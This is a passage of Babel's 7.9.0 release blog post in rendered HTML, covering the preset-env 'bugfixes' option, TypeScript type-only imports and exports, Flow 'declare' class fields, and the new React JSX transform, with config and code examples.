<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#4271ae">foo</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">foo</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">_ref</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> b</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> a </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> _ref</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">b </span><span class="token operator">===</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">void</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> b </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">for</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   </span><span class="token keyword" style="color:#8959a8">var</span><span class="token plain"> _len </span><span class="token operator">=</span><span class="token plain"> arguments</span><span class="token punctuation">.</span><span class="token property-access">length</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     args </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Array</span><span class="token punctuation">(</span><span class="token plain">_len </span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token plain"> </span><span class="token operator">?</span><span class="token plain"> _len </span><span class="token operator">-</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token plain"> </span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     _key </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain">  _key </span><span class="token operator">&lt;</span><span class="token plain"> _len</span><span class="token punctuation">;</span><span class="token plain"> _key</span><span class="token operator">++</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   args</span><span class="token punctuation">[</span><span class="token plain">_key </span><span class="token operator">-</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> arguments</span><span class="token punctuation">[</span><span class="token plain">_key</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">a</span><span class="token punctuation">,</span><span class="token plain"> b</span><span class="token punctuation">,</span><span class="token plain"> args</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>However, if we enable the <code>bugfixes</code> option, it only transforms the broken syntax:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#4271ae">foo</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token parameter punctuation" style="color:#f5871f">{</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter literal-property property" style="color:#f5871f">a</span><span class="token parameter operator" style="color:#f5871f">:</span><span class="token parameter" style="color:#f5871f"> a </span><span class="token parameter operator" style="color:#f5871f">=</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter number" style="color:#f5871f">1</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter punctuation" style="color:#f5871f">}</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> b </span><span class="token parameter operator" style="color:#f5871f">=</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter number" style="color:#f5871f">2</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter spread operator" style="color:#f5871f">...</span><span class="token parameter" style="color:#f5871f">args</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">a</span><span class="token punctuation">,</span><span class="token plain"> b</span><span class="token punctuation">,</span><span class="token plain"> args</span><span class="token punctuation">]</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<blockquote>
<p>You can see this example in action at our <a href="https://babeljs.io/repl#?browsers=Edge%2016&amp;code_lz=PTAEFEBMHMFNQIwDZQAsCGBnU7QCMBXaUAdzAAd0AnTASwDtjNUB7KgFw3slElk3ZUCAY3YEqsSACgQoSlXQBbWO1g1SYPgDN0BADbtQAN3R6C_UrU4McVKixKgtBeqNot6mKcI8CnLFlAAXlAACgBvHGDEUABfABp8aIAmRIA6DOpoTABKYIA-UABtdES8RKzMAF0AbiA&amp;sourceType=unambiguous&amp;lineWrap=true&amp;presets=env%2Cenv&amp;prettier=true&amp;version=7.9.0" target="_blank" rel="noopener noreferrer">REPL</a></p>
</blockquote>
<p>You can enable this option today by adding it to <code>@babel/preset-env</code> in your configuration:</p>
<div class="language-jsonls codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-jsonls codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/preset-env", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "targets": { "esmodules": true }, // Use the targets that you was already using</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "bugfixes": true</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="theme-admonition theme-admonition-tip admonition_WCGJ alert alert--success"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_pbrs"><p>Currently, the <code>bugfixes</code> option gives the best results when using the <code>esmodules: true</code> target, which allows you to target the browsers with native ES modules support and use the <a href="https://css-tricks.com/differential-serving/" target="_blank" rel="noopener noreferrer"><code>module</code>/<code>nomodule</code> pattern</a>. We hope to continue improving it over the next few releases, and enable it by default in Babel 8.</p></div></div>
<p>Moving forward, we would like to work with the community (including browsers) to allow for this kind of approach to work smoothly as we continually transition in JavaScript's development. In the ideal scenario, Babel would be able to implement and help influence the future of new proposals as they are suggested and refined, and smooth over these edge cases for existing standards so that the minimum compiled output is possible for all users of JavaScript based on their targets.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-38-type-only-imports-and-exports-11171">TypeScript 3.8: type-only imports and exports (<a href="https://github.com/babel/babel/pull/11171" target="_blank" rel="noopener noreferrer">#11171</a>)<a href="https://babeljs.io/blog/2020/03/16/7.9.0#typescript-38-type-only-imports-and-exports-11171" class="hash-link" aria-label="Direct link to typescript-38-type-only-imports-and-exports-11171" title="Direct link to typescript-38-type-only-imports-and-exports-11171">​</a></h2>
<p>You can now explicitly mark imports and exports as type-only, similarly to what you can already do in Flow:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> SomeThing </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./some-module.js"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> SomeThing </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>By doing so, Babel can safely decide which imports or exports are used for types and which are values.</p>
<p>Since Babel doesn't analyze types and works on a per-file basis (similarly to TypeScript's <code>--isolatedModules</code> option), until now <code>@babel/plugin-transform-typescript</code> handled imports not used as values as if they were type-only.</p>
<p>Starting from Babel 7.9 you can use the new <code>type</code> modifier without any configuration change.</p>
<p>We recommend configuring <code>@babel/preset-typescript</code> or <code>@babel/plugin-transform-typescript</code> so that it only considers imports as type-only when there is the explicit <code>type</code> keyword, similarly to TypeScript's <code>--importsNotUsedAsValues preserve</code> option:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/preset-typescript", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "onlyRemoveTypeImports": true</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="theme-admonition theme-admonition-tip admonition_WCGJ alert alert--success"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_pbrs"><p>These features were contributed by the Babel team together, and by <a href="https://twitter.com/sidntrivedi012/" target="_blank" rel="noopener noreferrer">Siddhant N Trivedi</a>. If you have interested in seeing how it's all done, please check how we did it <a href="https://www.youtube.com/playlist?list=PLoB4QYcbtyGbpTpRs_ZZLTVxi96iCl7-A" target="_blank" rel="noopener noreferrer">on YouTube</a>!</p></div></div>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="flow-declare-fields-11178">Flow <code>declare</code> fields (<a href="https://github.com/babel/babel/pull/11178" target="_blank" rel="noopener noreferrer">#11178</a>)<a href="https://babeljs.io/blog/2020/03/16/7.9.0#flow-declare-fields-11178" class="hash-link" aria-label="Direct link to flow-declare-fields-11178" title="Direct link to flow-declare-fields-11178">​</a></h2>
<p>The class fields proposal specifies uninitialized class fields are initialized to <code>undefined</code>: this is different from what Babel does with Flow, because it simply ignores them.</p>
<p>For this reason, the Flow team has added support for the <code>declare</code> modfier for class fields:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token operator">?</span><span class="token plain">string</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// A "real" field</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  declare y</span><span class="token operator">:</span><span class="token plain"> number</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// A type-only field</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>In the above example, only <code>y</code> should be completely removed by Babel.</p>
<p>To avoid breaking changes, we introduced support for declare in class fields behind a flag: <code>"allowDeclareFields"</code>, supported by both <code>@babel/plugin-transform-flow</code> and <code>@babel/preset-flow</code>. This will become default behavior in Babel 8, so it is recommended that you migrate your config to use it:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/preset-flow", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "allowDeclareFields": true</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="a-new-jsx-transform-11154">A new JSX transform (<a href="https://github.com/babel/babel/pull/11154" target="_blank" rel="noopener noreferrer">#11154</a>)<a href="https://babeljs.io/blog/2020/03/16/7.9.0#a-new-jsx-transform-11154" class="hash-link" aria-label="Direct link to a-new-jsx-transform-11154" title="Direct link to a-new-jsx-transform-11154">​</a></h2>
<p>The React team created an <a href="https://github.com/reactjs/rfcs/blob/createlement-rfc/text/0000-create-element-changes.md" target="_blank" rel="noopener noreferrer">RFC</a> back in February of last year to discuss simplifying element creation.</p>
<p>In a future stable release, React will support a group of new functions for instantiating JSX elements as an alternative to the legacy general-purpose <code>React.createElement</code> function. This will allow optimizing them better in the future.</p>
<div class="theme-admonition theme-admonition-tip admonition_WCGJ alert alert--success"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_pbrs"><p>While it's not released in a stable release yet, you can try it out on the <a href="https://reactjs.org/blog/2019/10/22/react-release-channels.html#experimental-channel" target="_blank" rel="noopener noreferrer">experimental</a> React release channel:</p><div class="language-sh codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">Shell</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-sh codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">npm install react@experimental react-dom@experimental</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></div></div>
<p>We worked with the team to finish a new transform that supports compiling JSX to these new functions. It also automatically imports <code>"react"</code> (or other libraries which support the new API) when needed, so you don't have to manually include it anymore.</p>
<p>As an example, this input:</p>
<div class="language-jsx codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JSX</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-jsx codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Foo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token tag punctuation" style="color:#c82829">&lt;</span><span class="token tag" style="color:#c82829">div</span><span class="token tag" style="color:#c82829"> </span><span class="token tag punctuation" style="color:#c82829">/&gt;</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>would turn into:</p>
<div class="language-jsx codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JSX</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-jsx codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports punctuation">{</span><span class="token imports"> jsx </span><span class="token imports keyword module" style="color:#8959a8">as</span><span class="token imports"> _jsx </span><span class="token imports punctuation">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"react/jsx-runtime"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Foo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">_jsx</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"div"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token spread operator">...</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 